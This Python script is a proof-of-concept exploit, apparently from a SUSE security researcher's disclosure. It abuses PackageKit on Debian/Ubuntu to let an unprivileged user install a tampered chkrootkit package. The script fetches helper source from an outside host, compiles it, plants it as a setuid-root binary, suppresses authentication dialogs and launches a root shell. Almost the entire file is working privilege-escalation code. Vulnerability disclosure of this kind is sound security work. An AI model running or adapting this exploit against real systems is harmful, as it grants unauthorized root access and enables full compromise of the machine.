#!/usr/bin/python3 # vim: noet ts=8 sts=8 sw=8 # Author: Matthias Gerstner # SUSE Linux GmbH # Date: 2018-04-05 # # Proof of concept: installation of a modified package as a regular user via # PackageKit on Debian/Ubuntu to install a setuid root binary. # # As it turns out we can install modified deb packages without entering admin # credentials. This is an easy one to gain root access. # # This script is supposed to be run on Debian 9.4 or Ubuntu 17 as a regular # user. PackageKit must be installed. chkrootkit must not yet be installed # (for some reason this only works if no previous installation is there). # # This program downloads an old version of the chkrootkit package that carries # a valid signature. This specific package is only used, because I am already # familiar with it and have a script template ready to work with it. # # The old chkrootkit version is vulnerable to CVE-2014-0476 but this is of no # concern to the exploit we're using here. # # Should a password prompt or dialog appear, simply cancel it to continue. from __future__ import print_function import platform import os, sys import urllib.request import subprocess import functools call = functools.partial(subprocess.call, close_fds = True, shell = False) check_output = functools.partial(subprocess.check_output, close_fds = True, shell = False) popen = functools.partial(subprocess.Popen, close_fds = True, shell = False) def exists_pkg(pkg): with open("/dev/null", 'w') as null: if call(["dpkg", "-s", pkg], stdout = null) == 0: return True return False def download_url(url): base = url.split('/')[-1] print("Downloading", url, "to", base) con = urllib.request.urlopen(url) with open(base, 'wb') as fd: while True: chunk = con.read(4096) if not chunk: break fd.write(chunk) return os.path.join( os.getcwd(), base ) def run_pkcon(cmdline): pkcon = "/usr/bin/pkcon" cmdline = [pkcon, "-y"] + cmdline print("Using command line", ' '.join(cmdline)) # use /dev/null as stdin to suppress authentication dialogs with open("/dev/null", 'r') as null: res = call( cmdline, stdin = null ) if res == 0: print("Successfully called pkcon") else: print("pkcon failed") sys.exit(1) def install_deb(debs): if not isinstance(debs, list): debs = [ debs ] cmdline = [ "install-local", "--allow-reinstall" ] + debs print("Trying to install", ' '.join(debs)) run_pkcon(cmdline) # hint is a prefix for finding the right DEB package in the cache (e.g. # multiple gcc packages with various prefixes are downloaded) def install_package(pkg, hint = None): cmdline = [ "install", "--only-download", pkg ] print("Trying to download system package", pkg) run_pkcon(cmdline) candidates = [] archives_root = "/var/cache/apt/archives" # now look up the archive and install it, dependencies are implicitly # pulled in by PackageKit for archive in os.listdir(archives_root): if not archive.endswith(".deb"): continue elif not archive.startswith(pkg): continue elif hint and not archive.startswith(hint): continue candidates.append(archive) if not candidates: print("Couldn't determine DEB package to install") sys.exit(1) elif len(candidates) > 1: print("More than one DEB install candidate found:", candidates) sys.exit(1) pkg_archive = os.path.join( archives_root, candidates[0] ) cmdline = [ "install-local", "--allow-reinstall", pkg_archive ] print("Trying to install", pkg_archive) run_pkcon(cmdline) def build_prog_from_file(src): base = os.path.splitext(src)[0] cmdline = [gcc, src, "-o", base] print("Trying to compile", src) print("Using command line", ' '.join(cmdline)) res = call(cmdline) if res == 0: print("Successfully built", src, "in", base) else: print("Failed to build", src) sys.exit(1) return os.path.join( os.getcwd(), base ) aged_chkrootkit_url_debian = "http://archive.debian.org/debian/pool/main/c/chkrootkit/chkrootkit_0.47-2_amd64.deb" aged_chkrootkit_url_ubuntu = "http://debian.charite.de/ubuntu/pool/main/c/chkrootkit/chkrootkit_0.49-4.1ubuntu1_amd64.deb" is_ubuntu = platform.dist()[0].lower().find("ubuntu") != -1 is_debian = platform.dist()[0].lower().find("debian") != -1 if is_ubuntu == is_debian: print("Failed to identify the distribution I'm running on") sys.exit(1) if is_debian: aged_chkrootkit_url = aged_chkrootkit_url_debian else: aged_chkrootkit_url = aged_chkrootkit_url_ubuntu aged_chkrootkit = download_url(aged_chkrootkit_url) if os.path.exists("/usr/sbin/chkrootkit"): print("chkrootkit is already installed. this won't work") sys.exit(1) print("\n" * 3) print("Modifying deb package in fakeroot") # we need fakeroot to modify the chkrootkit contents (we want to set a setuid # root bit which is otherwise not possible) if not exists_pkg("fakeroot"): install_package("fakeroot") # we need a gcc to compile a setuid root helper binary gcc = "/usr/bin/gcc" if not os.path.exists(gcc): install_package("gcc", "gcc_4%3a") suid_exec_url = "https://www.halfdog.net/Misc/Utils/SuidExec.c" suid_exec_src = download_url(suid_exec_url) suid_exec_bin = build_prog_from_file(suid_exec_src) suid_exec_base = os.path.basename(suid_exec_bin) print('\n' * 5) # this is where the "magic" happens: we extract the original deb archive, # place out setuid helper binary in it, apply the setuid bit and repackage the # whole thing mod_chkrootkit = os.path.join( os.getcwd(), "chkrootkit_mod.deb" ) fakeroot_cmds = "mkdir tmp;"\ "dpkg-deb -R {orig_deb} tmp;"\ "cp {suid_bin} tmp/usr/sbin;"\ "chmod 4777 tmp/usr/sbin/{suid_bin_base};"\ "dpkg-deb -b tmp {mod_deb}".format( orig_deb = aged_chkrootkit, suid_bin = suid_exec_bin, suid_bin_base = suid_exec_base, mod_deb = mod_chkrootkit ) res = call(["/usr/bin/fakeroot", "sh", "-c", "{}".format(fakeroot_cmds)]) if res != 0: print("Failed to modify deb in fakeroot") sys.exit(1) install_deb(mod_chkrootkit) installed_suid = "/usr/sbin/{}".format(suid_exec_base) print('\n' * 5) if not os.path.exists(installed_suid): print("The setuid file in", installed_suid, "failed to install?") sys.exit(1) print("Setuid file was installed in", installed_suid, "-> running it") call( [ installed_suid, "/bin/bash" ] )